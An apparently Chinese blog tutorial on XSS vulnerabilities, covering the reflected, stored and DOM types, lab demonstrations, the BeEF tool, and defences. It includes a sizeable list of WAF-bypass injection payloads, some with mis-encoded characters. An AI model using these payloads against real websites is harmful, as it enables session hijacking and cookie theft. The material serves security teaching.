【web安全】——XSS漏洞

1.XSS漏洞基础

1.1.漏洞成因

XSS(Cross-site scripting)被称为跨站脚本攻击,由于与层叠样式表的缩写一样,因此被缩写为XSS.XSS漏洞形成的原因是网站/程序对前端用户的输入过滤不严格,导致攻击者可以将恶意的is/html代码注入到网页中,当其他用户浏览这些页面时,就会执行其中的恶意代码。

1.2利用方式

利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript

类型,也包括iava、vbs、flash、html等。

1.3执行方式

用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否

恶意,只要符合语法规则,就直接解析了。

1.4攻击对象

客户端攻击,对象大多为用户,网站管理员。

还有微博,网页留言板,聊天室等收集用户输入的地方.。

2.漏洞危害

  • 网络钓鱼,盗取各种用户账户
  • 窃取用户的cookies资料,从而获取用户隐私信息。
  • 弹出广告页面,获取相关利益。
  • 劫持用户会话,执行任意操作。
  • 传播蠕虫病毒。

3.XSS漏洞挖掘

3.1可能存在XSS的漏洞页面

  • 高风险:评论区、留言区、个人信息修改、订单信息等
  • 中风险:站内信、通信、私信、反馈等。
  • 低风险:搜索框、UR、图片属性等。

3.2黑盒测试

通过查找一切用户可以输入并且控制输出到页面代码中的地方,例如:URL中的参数、URL链接、表单

输入框、评论区、个人信息修改等。

当在测试页面上提交以下代码,浏览器执行之后会出现弹窗,这是为了验证js代码是否被执行,代码被当做字符串输出在HTML页面上,浏览器当中的JavaScript解析器会根据

<script>alert(/xss/)</script> #比较常用

<script>confirm('xss')</script>

<script>prompt("xss")</script>

3.3白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。PHP中常见的接收参数的方式有$GET、$POST、$REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

4.漏洞原理

4.1XSS分类

  • 反射型
  • 存储型
  • DOM型

4.2反射型XSS

4.2.1原理

反射型XSS也称作非持久型XSS、参数型跨站脚本。这类的跨站脚本最常见,也是最广泛的一种,主要用于将恶意脚本附加到URL的参数中诱导用户访问达到攻击的目的。这种类型的攻击通常发生在客户端上。

特点:

非持久性
参数脚本
js代码在web应用的参数当中:搜索框

数据流量:浏览器---->后端---->浏览器

4.2.2攻击位置

用户登录入口、网站搜索框等

4.2.3演示

当用户进行搜索时,返回结果通常包括用户的原始搜索内容,如果攻击者精心构造包含XSS恶意代码的链接,诱导用户点击并成功执行,用户的信息就被窃取了,甚至还可以模拟用户进行一些操作。

以pikachu靶场演示

直接尝试注入,发现有长度限制

对长度进行修改后 注入<script>alert(1);</script> 成功执行我们输入的JavaScript代码

4.3存储型XSS

4.3.1原理

存储型XSS是将攻击脚本永远嵌入某一个页面中,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并目该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。攻击流程如下:

  1. 攻击者利用网站的一个表单,将恶意字符串插入到网站数据库中。
  2. 受害者向网站请求页面。
  3. 网站在响应中引入恶意字符串,并把它发给受害者。
  4. 受害者浏览器执行响应中的恶意脚本,并把受害者的cookies发给攻击者服务器。

特点

危害性最大:持久的保存在服务器上
持久型XSS
js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。

数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器

4.3.2攻击位置

论坛、博客、留言板、评论区等交互区。

4.3.3演示

提交后,每次访问这个页面,就会触发我们注入的代码

4.4DOM型XSS

什么是DOM?

DOM被称为文档对象模型,是一个平台和语言的接口,使得程序和脚本可以动态访问和更新文档的内容、结构和样式。DOM本身是一个表达XML文档的标准,HTML文档从浏览器的角度来说就是XML文档,有了这些技术之后,就可以通过js轻松访问到他们。DOM会将XML文件的节点构建成树状结构,以此反应XML文件本身的阶层结构。

4.3.1原理

客户端的脚本程序可以通过DOM动态地检查和修改页面内容。程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。浏览器用户可以操纵DOM中的一些对象,例如URL、location等。用户在客户端输入的数据如果包含了恶意is脚本,而这些脚本没有经过适当的过滤,应用程序就会受到基于DOM的XSS攻击。

这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析

攻击流程:

  1. 攻击者构造一个包含恶意字符串的URL并发给受害者
  2. 攻击者诱使受害者发起这个URL请求。
  3. 网站收到请求,但并没有在响应中引入该恶意字符串
  4. 受害者浏览器执行响应中的合法脚本,导致恶意脚本被插入到页面中。
  5. 受害者浏览器执行插入到页面中的恶意脚本,将受害者的cookies信息发给攻击者服务器

4.3.2攻击位置

4.3.3演示

观察标签可知,提交的内容不会和后端进行交互,直接传给前端。利用js的拼接符将提交的内容拼接到<a>标签中

因此可以想办法来对a标签的内容进行闭合,使用事件来完成对DOM树的操作,#'οnclick="alert(1)">,提交此内容后,a标签中的内容形成闭合,结果如下:

5.XSS平台使用

https://xss.yt/

xss测试平台,xss9.com

6.beef工具的使用

6.1在kali中打开beef

安装beef

apt-get update -y #更新仓库源

apt install -y beef-xss

使用教程:Beefxss使用教程图文教程(超详细)_怎么把beef改成公网ip-CSDN博客

7.XSS绕过waf

7.1冷门标签

img标签定义HTML页面中的图像

<img src=1 οnerrοr=alert(1);>(oneror为当出现错误时候触发)

<img src=1 οnerrοr=alert("xss");>

input标签规定了用户可以在其中输入数据的输入字段

<input οnfοcus=alert(1);>//可用来绕过WAF (onfocus焦点事件)

<input οnblur=alert(1)autofocus><input autofocus>//可用来绕过WAF

<input οnfοcus="alert(1);"autofocus>//可用来绕过WAF

iframe标签创建包含另外一个文档的内联框架

<iframe οnlοad=alert(1);></iframe> //可绕过WAF

video标签定义视频,比如电影片段或其他视频流,

<video><source οnerrοr=alert(1)>//可绕过WAF

audio标签定义声音,比如音乐或其他音频流

<audio src=x οnerrοr=alert(1);>//可绕过WAF

7.2冷门事件

1.FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)

2.onAbort()(当用户中止加载图片时)

3.onActivate()(当对象激活时)

4.onAfterPrint()(用户打印或进行打印预览后触发)

5.onAfterUpdate()(从数据源对象更新数据后由数据对象触发)

6.onBeforeactivate()(在对象设置为激活元素前触发

7.onBeforecopy()(攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行

execCommand("copy")函数触发)

7.3等价函数替换

levell.php?name=<script>confirm("xss")</script>

levell.php?name=<script>prompt("xss")</script>

levell.php?name=<script>alert("xss")</script>

7.4编码绕过

使用char编码,Unicode编码,url编码,ASCII编码,base64编码尝试绕过

7.5变型

1、<imgl、<img src=x:alert(alt)οnerrοr=eval(src) alt=0>

2、<form><a href="javascript:\u006llert(1)">X

3、<script x> alert(1)</script 1=2

7.6alert混淆

(alert)(1)

a=alert,a(1)

[1].find(alert)

a1\u0065rt(1)

7.7空格绕过

<img src="javascript:alert('xss');">

<img src="java script:alert('xss');">

7.8注释绕过

<script>alert()</script>

<scri<!--1-->pt>alert()</sc<!--1-->ript>

7.9字符拼接

利用eval:eval是Javascript内置函数,用于计算字符串表达式的值

<img src="x"onerror "a= aler ;b=`t`;c='( xss );';eval(a+b+c)">

7.10js伪协议绕过

8.XSS+CSRF利用

存储型XSS攻击代码中加入CSRF代码。

<script src="x"οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>

9.防御

  1. 白名单过滤:白名单过滤通过允许放行的内容进行过滤,这种情况下确实可以基本杜绝很多的XSS攻击,但是在现实环境中,可能会造成误拦截。
  2. 黑名单过滤:黑名单过滤是对相关关键字进行拦截,黑名单输入可能杜绝绝大XSS攻击,但是依旧存在被绕过的可能。
  3. http only属性:在服务端中设置会话cookie的HTTP only属性,这样客户端]S脚本就不能获取cookie信息,
  4. 明确输入内容:对用户输入的内容进行明确类型,如个人信息电话、数字、密码、邮箱地址等都位置都过滤一些不符合的
  5. 对不可信的内容都应该进行长度限制:例如电话号码11位,那么就设置11位,这样虽然不能百分百防止XSS攻击,但是可以增加XSS攻击实现的难度。
  6. 添加验证码、开启相关防护软件、WAF软硬件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你怎么睡得着的!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值